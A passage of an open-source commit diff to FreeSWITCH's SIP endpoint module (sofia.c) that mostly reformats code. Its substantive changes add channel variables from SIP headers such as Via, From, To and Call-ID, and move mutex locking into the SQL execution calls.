+void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session);
+int sofia_glue_recover(switch_bool_t flush);
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -52,8 +52,9 @@
extern su_log_t su_log_default[];
-void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[]);
static void set_variable_sip_param(switch_channel_t *channel, char *header_type, sip_param_t const *params);
@@ -88,7 +89,7 @@
#define url_set_chanvars(session, url, varprefix) _url_set_chanvars(session, url, #varprefix "_user", #varprefix "_host", #varprefix "_port", #varprefix "_uri", #varprefix "_params")
static const char *_url_set_chanvars(switch_core_session_t *session, url_t *url, const char *user_var,
- const char *host_var, const char *port_var, const char *uri_var, const char *params_var)
+ const char *host_var, const char *port_var, const char *uri_var, const char *params_var)
{
const char *user = NULL, *host = NULL, *port = NULL;
char *uri = NULL;
@@ -137,19 +138,85 @@
return uri;
}
+static char *strip_quotes(const char *in)
+{
+ char *t = (char *) in;
+ char *r = (char *) in;
-static void extract_vars(sip_t const *sip, switch_core_session_t *session)
+ if (*t == '"') {
+ t++;
+
+ if (end_of(t) == '"') {
+ r = strdup(t);
+ end_of(r) = '\0';
+ }
+ }
+
+ return r;
+}
+
+static void extract_header_vars(sofia_profile_t *profile, sip_t const *sip, switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
+ char *full;
if (sip) {
- if (sip->sip_from && sip->sip_from->a_url) url_set_chanvars(session, sip->sip_from->a_url, sip_from);
- if (sip->sip_request && sip->sip_request->rq_url) url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
- if (sip->sip_to && sip->sip_to->a_url) url_set_chanvars(session, sip->sip_to->a_url, sip_to);
- if (sip->sip_contact && sip->sip_contact->m_url) url_set_chanvars(session, sip->sip_contact->m_url, sip_contact);
- if (sip->sip_referred_by && sip->sip_referred_by->b_url) url_set_chanvars(session, sip->sip_referred_by->b_url, sip_referred_by);
+ if (sip->sip_via) {
+ if ((full = sip_header_as_string(profile->home, (void *) sip->sip_via))) {
+ const char *v = switch_channel_get_variable(channel, "sip_full_via");
+ if (!v) {
+ switch_channel_set_variable(channel, "sip_full_via", full);
+ }
+ su_free(profile->home, full);
+ }
+ }
+ if (sip->sip_from) {
+ char *p = strip_quotes(sip->sip_from->a_display);
+
+ if (p) {
+ switch_channel_set_variable(channel, "sip_from_display", p);
+ }
+ if (p != sip->sip_from->a_display) free(p);
+ if ((full = sip_header_as_string(profile->home, (void *) sip->sip_from))) {
+ switch_channel_set_variable(channel, "sip_full_from", full);
+ su_free(profile->home, full);
+ }
+ }
+ if (sip->sip_to) {
+ char *p = strip_quotes(sip->sip_to->a_display);
+
+ if (p) {
+ switch_channel_set_variable(channel, "sip_to_display", p);
+ }
+
+ if (p != sip->sip_to->a_display) free(p);
+
+ if ((full = sip_header_as_string(profile->home, (void *) sip->sip_to))) {
+ switch_channel_set_variable(channel, "sip_full_to", full);
+ su_free(profile->home, full);
+ }
+ }
+
+ }
+}
+
+static void extract_vars(sofia_profile_t *profile, sip_t const *sip, switch_core_session_t *session)
+{
+ switch_channel_t *channel = switch_core_session_get_channel(session);
+
+ if (sip) {
+ if (sip->sip_from && sip->sip_from->a_url)
+ url_set_chanvars(session, sip->sip_from->a_url, sip_from);
+ if (sip->sip_request && sip->sip_request->rq_url)
+ url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
+ if (sip->sip_to && sip->sip_to->a_url)
+ url_set_chanvars(session, sip->sip_to->a_url, sip_to);
+ if (sip->sip_contact && sip->sip_contact->m_url)
+ url_set_chanvars(session, sip->sip_contact->m_url, sip_contact);
+ if (sip->sip_referred_by && sip->sip_referred_by->b_url)
+ url_set_chanvars(session, sip->sip_referred_by->b_url, sip_referred_by);
if (sip->sip_to && sip->sip_to->a_tag) {
- switch_channel_set_variable(channel, "sip_to_tag", sip->sip_to->a_tag);
+ switch_channel_set_variable(channel, "sip_to_tag", sip->sip_to->a_tag);
}
if (sip->sip_from && sip->sip_from->a_tag) {
switch_channel_set_variable(channel, "sip_from_tag", sip->sip_from->a_tag);
@@ -159,6 +226,9 @@
switch_snprintf(sip_cseq, sizeof(sip_cseq), "%d", sip->sip_cseq->cs_seq);
switch_channel_set_variable(channel, "sip_cseq", sip_cseq);
}
+ if (sip->sip_call_id && sip->sip_call_id->i_id) {
+ switch_channel_set_variable(channel, "sip_call_id", sip->sip_call_id->i_id);
+ }
}
}
@@ -187,9 +257,9 @@
* nua, and also pick them off special elsewhere here in sofia.c - MTK
* *and* for Linksys, I believe they use "sa" as their magic appearance agent name for those blind notifies, so
* we'll probably have to change to match
- */
+ */
if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
-
+
if (sip->sip_request->rq_url->url_user && !strncmp(sip->sip_request->rq_url->url_user, "sla-agent", sizeof("sla-agent"))) {
sofia_sla_handle_sip_i_notify(nua, profile, nh, sip, tags);
goto end;
@@ -212,10 +282,7 @@
/* For additional NOTIFY event packages see http://www.iana.org/assignments/sip-events. */
if (sip->sip_content_type &&
- sip->sip_content_type->c_type &&
- sip->sip_payload &&
- sip->sip_payload->pl_data &&
- !strcasecmp(sip->sip_event->o_type, "refer")) {
+ sip->sip_content_type->c_type && sip->sip_payload && sip->sip_payload->pl_data && !strcasecmp(sip->sip_event->o_type, "refer")) {
if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_NOTIFY_REFER) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "content-type", sip->sip_content_type->c_type);
switch_event_add_body(s_event, "%s", sip->sip_payload->pl_data);
@@ -226,17 +293,15 @@
if (s_event != NULL) {
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "event-package", sip->sip_event->o_type);
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "event-id", sip->sip_event->o_id);
-
+
if (sip->sip_contact && sip->sip_contact->m_url) {
- switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "contact", "%s@%s",
+ switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "contact", "%s@%s",
sip->sip_contact->m_url->url_user, sip->sip_contact->m_url->url_host);
}
- switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from", "%s@%s",
- sip->sip_from->a_url->url_user, sip->sip_from->a_url->url_host);
+ switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from", "%s@%s", sip->sip_from->a_url->url_user, sip->sip_from->a_url->url_host);
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "from-tag", sip->sip_from->a_tag);
- switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "to", "%s@%s",
- sip->sip_to->a_url->url_user, sip->sip_to->a_url->url_host);
+ switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "to", "%s@%s", sip->sip_to->a_url->url_user, sip->sip_to->a_url->url_host);
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-tag", sip->sip_to->a_tag);
if (sip->sip_call_id && sip->sip_call_id->i_id) {
@@ -300,27 +365,26 @@
goto end;
}
}
-
+
if (!sofia_private || !sofia_private->gateway) {
if (profile->debug) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Gateway information missing Subscription Event: %s\n", sip->sip_event->o_type);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Gateway information missing Subscription Event: %s\n",
+ sip->sip_event->o_type);
}
- goto error;
+ goto error;
}
-
+
/* find the corresponding gateway subscription (if any) */
if (!(gw_sub_ptr = sofia_find_gateway_subscription(sofia_private->gateway, sip->sip_event->o_type))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"Could not find gateway subscription. Gateway: %s. Subscription Event: %s\n",
sofia_private->gateway->name, sip->sip_event->o_type);
- goto error;
+ goto error;
}
if (!(gw_sub_ptr->state == SUB_STATE_SUBED || gw_sub_ptr->state == SUB_STATE_SUBSCRIBE)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
- "Ignoring notify due to subscription state: %d\n",
- gw_sub_ptr->state);
- goto error;
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Ignoring notify due to subscription state: %d\n", gw_sub_ptr->state);
+ goto error;
}
/* dispatch freeswitch event */
@@ -337,7 +401,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "dispatched freeswitch event for message-summary NOTIFY\n");
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to create event\n");
- goto error;
+ goto error;
}
goto end;
@@ -351,10 +415,10 @@
} else {
nua_respond(nh, 481, "Subscription Does Not Exist", NUTAG_WITH_THIS(nua), TAG_END());
}
-
- end:
-
- if (sub_state == nua_substate_terminated && sofia_private && sofia_private != &mod_sofia_globals.destroy_private &&
+
+ end:
+
+ if (sub_state == nua_substate_terminated && sofia_private && sofia_private != &mod_sofia_globals.destroy_private &&
sofia_private != &mod_sofia_globals.keep_private) {
sofia_private->destroy_nh = 1;
sofia_private->destroy_me = 1;
@@ -385,14 +449,13 @@
#ifdef MANUAL_BYE
status = 200;
phrase = "OK";
-
+
sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
call_info = switch_channel_get_variable(channel, "presence_call_info_full");
- if (sip->sip_reason && sip->sip_reason->re_protocol &&
- (!strcasecmp(sip->sip_reason->re_protocol, "Q.850")
- || !strcasecmp(sip->sip_reason->re_protocol, "FreeSWITCH")
- || !strcasecmp(sip->sip_reason->re_protocol, profile->username)) && sip->sip_reason->re_cause) {
+ if (sip->sip_reason && sip->sip_reason->re_protocol && (!strcasecmp(sip->sip_reason->re_protocol, "Q.850")
+ || !strcasecmp(sip->sip_reason->re_protocol, "FreeSWITCH")
+ || !strcasecmp(sip->sip_reason->re_protocol, profile->username)) && sip->sip_reason->re_cause) {
tech_pvt->q850_cause = atoi(sip->sip_reason->re_cause);
cause = tech_pvt->q850_cause;
} else {
@@ -409,21 +472,20 @@
switch_snprintf(st, sizeof(st), "%d", cause);
switch_channel_set_variable(channel, "sip_term_cause", st);
-
+
extra_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_BYE_HEADER_PREFIX);
sofia_glue_set_extra_headers(channel, sip, SOFIA_SIP_BYE_HEADER_PREFIX);
-
+
switch_channel_hangup(channel, cause);
- nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua),
- TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
- TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
-
+ nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua),
+ TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)), TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
+
switch_safe_free(extra_headers);
if (sofia_private) {
- sofia_private->destroy_me = 1;
- sofia_private->destroy_nh = 1;
- }
+ sofia_private->destroy_me = 1;
+ sofia_private->destroy_nh = 1;
+ }
#endif
@@ -442,9 +504,9 @@
if ((tmp = sofia_glue_get_unknown_header(sip, "P-RTP-Stat"))) {
switch_channel_set_variable(channel, "sip_p_rtp_stat", tmp);
}
-
+
tech_pvt->got_bye = 1;
- switch_channel_set_variable(channel, "sip_hangup_disposition", "recv_bye");
+ switch_channel_set_variable(channel, "sip_hangup_disposition", "recv_bye");
return;
}
@@ -456,16 +518,16 @@
void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout)
{
time_t exp = switch_epoch_time_now(NULL) + timeout;
-
+
tech_pvt->want_event = event;
- while(switch_channel_ready(tech_pvt->channel) && tech_pvt->want_event && switch_epoch_time_now(NULL) < exp) {
+ while (switch_channel_ready(tech_pvt->channel) && tech_pvt->want_event && switch_epoch_time_now(NULL) < exp) {
switch_yield(100000);
}
-
+
}
-void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number)
+void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number)
{
const char *uuid;
switch_core_session_t *session_b;
@@ -484,7 +546,7 @@
if (zstr(name)) {
name = number;
}
-
+
if (zstr(number)) {
number = caller_profile->destination_number;
}
@@ -533,7 +595,7 @@
}
if ((val = sofia_glue_get_unknown_header(sip, "X-FS-Display-Name"))) {
- name = (char *)val;
+ name = (char *) val;
fs++;
}
@@ -557,18 +619,19 @@
}
if (((tmp = switch_channel_get_variable(channel, "effective_callee_id_name")) ||
- (tmp = switch_channel_get_variable(channel, "sip_callee_id_name")) ||
+ (tmp = switch_channel_get_variable(channel, "sip_callee_id_name")) ||
(tmp = switch_channel_get_variable(channel, "callee_id_name"))) && !zstr(tmp)) {
- name = (char *)tmp;
+ name = (char *) tmp;
}
if (((tmp = switch_channel_get_variable(channel, "effective_callee_id_number")) ||
- (tmp = switch_channel_get_variable(channel, "sip_callee_id_number")) ||
+ (tmp = switch_channel_get_variable(channel, "sip_callee_id_number")) ||
(tmp = switch_channel_get_variable(channel, "callee_id_number"))) && !zstr(tmp)) {
number = tmp;
}
- if (zstr(name)) name = (char *) number;
+ if (zstr(name))
+ name = (char *) number;
if (zstr(name) && zstr(number)) {
goto end;
@@ -585,7 +648,7 @@
switch_channel_event_set_data(channel, event);
switch_event_fire(&event);
}
-
+
caller_profile = switch_channel_get_caller_profile(channel);
if (!strcmp(caller_profile->callee_id_name, name) && !strcmp(caller_profile->callee_id_number, number)) {
@@ -601,7 +664,7 @@
sofia_send_callee_id(session, NULL, NULL);
}
- end:
+ end:
switch_safe_free(dup);
}
@@ -639,7 +702,7 @@
channel = switch_core_session_get_channel(session);
if (tech_pvt) {
switch_mutex_lock(tech_pvt->sofia_mutex);
- locked = 1;
+ locked = 1;
} else {
switch_core_session_rwunlock(session);
return;
@@ -682,12 +745,12 @@
if (authorization) {
char network_ip[80];
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), NULL);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), NULL);
auth_res = sofia_reg_parse_auth(profile, authorization, sip,
(char *) sip->sip_request->rq_method_name, tech_pvt->key, strlen(tech_pvt->key), network_ip, NULL, 0,
REG_INVITE, NULL, NULL, NULL);
}
-
+
if (auth_res != AUTH_OK) {
//switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
nua_respond(nh, SIP_401_UNAUTHORIZED, TAG_END());
@@ -728,7 +791,7 @@
if (sip->sip_to && sip->sip_to->a_tag) {
switch_channel_set_variable(channel, "sip_to_tag", sip->sip_to->a_tag);
}
-
+
if (sip->sip_from && sip->sip_from->a_tag) {
switch_channel_set_variable(channel, "sip_from_tag", sip->sip_from->a_tag);
}
@@ -738,13 +801,22 @@
switch_snprintf(sip_cseq, sizeof(sip_cseq), "%d", sip->sip_cseq->cs_seq);
switch_channel_set_variable(channel, "sip_cseq", sip_cseq);
}
+
+ if (sip->sip_call_id && sip->sip_call_id->i_id) {
+ switch_channel_set_variable(channel, "sip_call_id", sip->sip_call_id->i_id);
+ }
+
+ extract_header_vars(profile, sip, session);
+ sofia_glue_tech_track(tech_pvt->profile, session);
}
}
case nua_r_ack:
- if (channel) switch_channel_set_flag(channel, CF_MEDIA_ACK);
+ if (channel)
+ switch_channel_set_flag(channel, CF_MEDIA_ACK);
break;
case nua_r_shutdown:
- if (status >= 200) su_root_break(profile->s_root);
+ if (status >= 200)
+ su_root_break(profile->s_root);
break;
case nua_r_message:
sofia_handle_sip_r_message(status, profile, nh, sip);
@@ -804,7 +876,8 @@
case nua_r_refer:
break;
case nua_i_refer:
- if (session) sofia_handle_sip_i_refer(nua, profile, nh, session, sip, tags);
+ if (session)
+ sofia_handle_sip_i_refer(nua, profile, nh, session, sip, tags);
break;
case nua_r_subscribe:
sofia_presence_handle_sip_r_subscribe(status, phrase, nua, profile, nh, sofia_private, sip, tags);
@@ -814,7 +887,8 @@
break;
default:
if (status > 100) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s: unknown event %d: %03d %s\n", nua_event_name(event), event, status, phrase);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s: unknown event %d: %03d %s\n", nua_event_name(event), event,
+ status, phrase);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s: unknown event %d\n", nua_event_name(event), event);
}
@@ -834,7 +908,7 @@
break;
case nua_i_notify:
-
+
if (sip && sip->sip_event && !strcmp(sip->sip_event->o_type, "dialog") && sip->sip_event->o_params && !strcmp(sip->sip_event->o_params[0], "sla")) {
check_destroy = 0;
}
@@ -859,11 +933,11 @@
nh = NULL;
}
}
-
+
if (sofia_private && sofia_private->destroy_me) {
if (tech_pvt) {
- tech_pvt->sofia_private = NULL;
- }
+ tech_pvt->sofia_private = NULL;
+ }
if (nh) {
nua_handle_bind(nh, NULL);
@@ -879,7 +953,7 @@
if (locked && tech_pvt) {
switch_mutex_unlock(tech_pvt->sofia_mutex);
}
-
+
if (session) {
switch_core_session_rwunlock(session);
}
@@ -994,7 +1068,7 @@
fixed_contact_str = malloc(len);
switch_assert(fixed_contact_str);
switch_copy_string(fixed_contact_str, contact_str, len);
-
+
if ((sptr = strstr(fixed_contact_str, needle))) {
char *origsptr = strstr(contact_str, needle);
eptr = strchr(++origsptr, ';');
@@ -1023,14 +1097,14 @@
switch_mutex_lock(profile->ireg_mutex);
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
-
+
switch_find_local_ip(guess_ip4, sizeof(guess_ip4), NULL, AF_INET);
sql = switch_mprintf("insert into sip_registrations "
"(call_id, sip_user, sip_host, presence_hosts, contact, status, rpid, expires,"
"user_agent, server_user, server_host, profile_name, hostname, network_ip, network_port, sip_username, sip_realm,"
"mwi_user, mwi_host, orig_server_host, orig_hostname) "
"values ('%q','%q','%q','%q','%q','Registered','%q',%ld, '%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')",
- call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4,
+ call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4,
profile_name, mod_sofia_globals.hostname, network_ip, network_port, username, realm, mwi_user, mwi_host,
orig_server_host, orig_hostname);
@@ -1043,13 +1117,13 @@
if (profile) {
sofia_glue_release_profile(profile);
}
-end:
+ end:
switch_safe_free(fixed_contact_str);
switch_safe_free(dup_mwi_account);
}
}
-static void sofia_perform_profile_start_failure(sofia_profile_t *profile, char *profile_name, char* file, int line)
+static void sofia_perform_profile_start_failure(sofia_profile_t *profile, char *profile_name, char *file, int line)
{
int arg = 0;
switch_event_t *s_event;
@@ -1059,7 +1133,8 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Shutting down!\n", profile->name);
switch_core_session_ctl(SCSC_SHUTDOWN, &arg);
} else if (!strcasecmp(profile->shutdown_type, "elegant")) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Waiting for calls to finish, then shutting down!\n", profile->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Waiting for calls to finish, then shutting down!\n",
+ profile->name);
switch_core_session_ctl(SCSC_SHUTDOWN_ELEGANT, &arg);
} else if (!strcasecmp(profile->shutdown_type, "asap")) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Shutting down ASAP!\n", profile->name);
@@ -1080,6 +1155,7 @@
switch_event_fire(&s_event);
}
}
+
#define sofia_profile_start_failure(p, xp) sofia_perform_profile_start_failure(p, xp, __FILE__, __LINE__)
@@ -1116,15 +1192,15 @@
uint32_t itterations = 0;
switch_size_t len = 0;
- switch_mutex_lock(profile->ireg_mutex);
-
+ //switch_mutex_lock(profile->ireg_mutex);
+
//sofia_glue_actually_execute_sql(profile, "begin;\n", NULL);
while (switch_queue_trypop(profile->sql_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
char *sql = (char *) pop;
-
+
newlen = strlen(sql) + 2;
-
+
if (newlen + 10 < SQLLEN) {
itterations++;
if (len + newlen + 10 > sql_len) {
@@ -1143,24 +1219,22 @@
}
//printf("TRANS:\n%s\n", sqlbuf);
- sofia_glue_actually_execute_sql_trans(profile, sqlbuf, NULL);
+ sofia_glue_actually_execute_sql_trans(profile, sqlbuf, profile->ireg_mutex);
//sofia_glue_actually_execute_sql(profile, "commit;\n", NULL);
-
-
- switch_mutex_unlock(profile->ireg_mutex);
+ //switch_mutex_unlock(profile->ireg_mutex);
loop_count = 0;
}
} else {
if (qsize) {
- switch_mutex_lock(profile->ireg_mutex);
+ //switch_mutex_lock(profile->ireg_mutex);
while (switch_queue_trypop(profile->sql_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
- sofia_glue_actually_execute_sql(profile, (char *) pop, NULL);
+ sofia_glue_actually_execute_sql(profile, (char *) pop, profile->ireg_mutex);
free(pop);
}
- switch_mutex_unlock(profile->ireg_mutex);
+ //switch_mutex_unlock(profile->ireg_mutex);
}
}
-
+
if (++loops >= 1000) {
if (++ireg_loops >= IREG_SECONDS) {
time_t now = switch_epoch_time_now(NULL);
@@ -1243,10 +1317,7 @@
goto end;
}
- supported = switch_core_sprintf(profile->pool, "%s%sprecondition, path, replaces",
- use_100rel ? "100rel, " : "",
- use_timer ? "timer, " : ""
- );
+ supported = switch_core_sprintf(profile->pool, "%s%sprecondition, path, replaces", use_100rel ? "100rel, " : "", use_timer ? "timer, " : "");
if (sofia_test_pflag(profile, PFLAG_AUTO_NAT) && switch_core_get_variable("nat_type")) {
if (switch_nat_add_mapping(profile->sip_port, SWITCH_NAT_UDP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
@@ -1255,7 +1326,8 @@
if (switch_nat_add_mapping(profile->sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created TCP nat mapping for %s port %d\n", profile->name, profile->sip_port);
}
- if (sofia_test_pflag(profile, PFLAG_TLS) && switch_nat_add_mapping(profile->tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+ if (sofia_test_pflag(profile, PFLAG_TLS)
+ && switch_nat_add_mapping(profile->tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created TCP/TLS nat mapping for %s port %d\n", profile->name, profile->tls_sip_port);
}
}
@@ -1263,27 +1335,7 @@
profile->nua = nua_create(profile->s_root, /* Event loop */
sofia_event_callback, /* Callback for processing events */
profile, /* Additional data to pass to callback */
- NUTAG_URL(profile->bindurl),
- NTATAG_USER_VIA(1),
- TAG_IF(!strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)),
- TAG_IF(strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile->tls_bindurl)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile->tls_cert_dir)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile->tls_version)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)),
- TAG_IF(!strchr(profile->sipip, ':'), NTATAG_UDP_MTU(65535)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)),
- NTATAG_DEFAULT_PROXY(profile->outbound_proxy),
- NTATAG_SERVER_RPORT(profile->rport_level),
- TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)),
- TAG_IF(sofia_test_pflag(profile, PFLAG_SIPCOMPACT), NTATAG_SIPFLAGS(MSG_DO_COMPACT)),
- TAG_IF(profile->timer_t1, NTATAG_SIP_T1(profile->timer_t1)),
- TAG_IF(profile->timer_t1x64, NTATAG_SIP_T1X64(profile->timer_t1x64)),
- TAG_IF(profile->timer_t2, NTATAG_SIP_T2(profile->timer_t2)),
- TAG_IF(profile->timer_t4, NTATAG_SIP_T4(profile->timer_t4)),
- TAG_END()); /* Last tag should always finish the sequence */
+ NUTAG_URL(profile->bindurl), NTATAG_USER_VIA(1), TAG_IF(!strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)), TAG_IF(strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile->tls_bindurl)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile->tls_cert_dir)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile->tls_version)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)), TAG_IF(!strchr(profile->sipip, ':'), NTATAG_UDP_MTU(65535)), TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)), TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)), NTATAG_DEFAULT_PROXY(profile->outbound_proxy), NTATAG_SERVER_RPORT(profile->rport_level), TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)), TAG_IF(sofia_test_pflag(profile, PFLAG_SIPCOMPACT), NTATAG_SIPFLAGS(MSG_DO_COMPACT)), TAG_IF(profile->timer_t1, NTATAG_SIP_T1(profile->timer_t1)), TAG_IF(profile->timer_t1x64, NTATAG_SIP_T1X64(profile->timer_t1x64)), TAG_IF(profile->timer_t2, NTATAG_SIP_T2(profile->timer_t2)), TAG_IF(profile->timer_t4, NTATAG_SIP_T4(profile->timer_t4)), TAG_END()); /* Last tag should always finish the sequence */
if (!profile->nua) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Creating SIP UA for profile: %s\n", profile->name);
@@ -1299,10 +1351,7 @@
NUTAG_APPL_METHOD("OPTIONS"),
NUTAG_APPL_METHOD("REFER"),
NUTAG_APPL_METHOD("REGISTER"),
- NUTAG_APPL_METHOD("NOTIFY"),
- NUTAG_APPL_METHOD("INFO"),
- NUTAG_APPL_METHOD("ACK"),
- NUTAG_APPL_METHOD("SUBSCRIBE"),
+ NUTAG_APPL_METHOD("NOTIFY"), NUTAG_APPL_METHOD("INFO"), NUTAG_APPL_METHOD("ACK"), NUTAG_APPL_METHOD("SUBSCRIBE"),
#ifdef MANUAL_BYE
NUTAG_APPL_METHOD("BYE"),
#endif
@@ -1329,8 +1378,7 @@
TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("include-session-description")),
TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("presence.winfo")),
TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("message-summary")),
- NUTAG_ALLOW_EVENTS("refer"),
- SIPTAG_SUPPORTED_STR(supported), SIPTAG_USER_AGENT_STR(profile->user_agent), TAG_END());
+ NUTAG_ALLOW_EVENTS("refer"), SIPTAG_SUPPORTED_STR(supported), SIPTAG_USER_AGENT_STR(profile->user_agent), TAG_END());
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set params for %s\n", profile->name);
@@ -1415,12 +1463,12 @@
sofia_reg_unregister(profile);
nua_shutdown(profile->nua);
su_root_run(profile->s_root);
-
+
sofia_clear_pflag_locked(profile, PFLAG_RUNNING);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Waiting for worker thread\n");
switch_thread_join(&st, worker_thread);
-
+
sanity = 4;
while (profile->inuse) {
switch_core_session_hupall_matching_var("sofia_profile_name", profile->name, SWITCH_CAUSE_MANAGER_REQUEST);
@@ -1431,7 +1479,7 @@
}
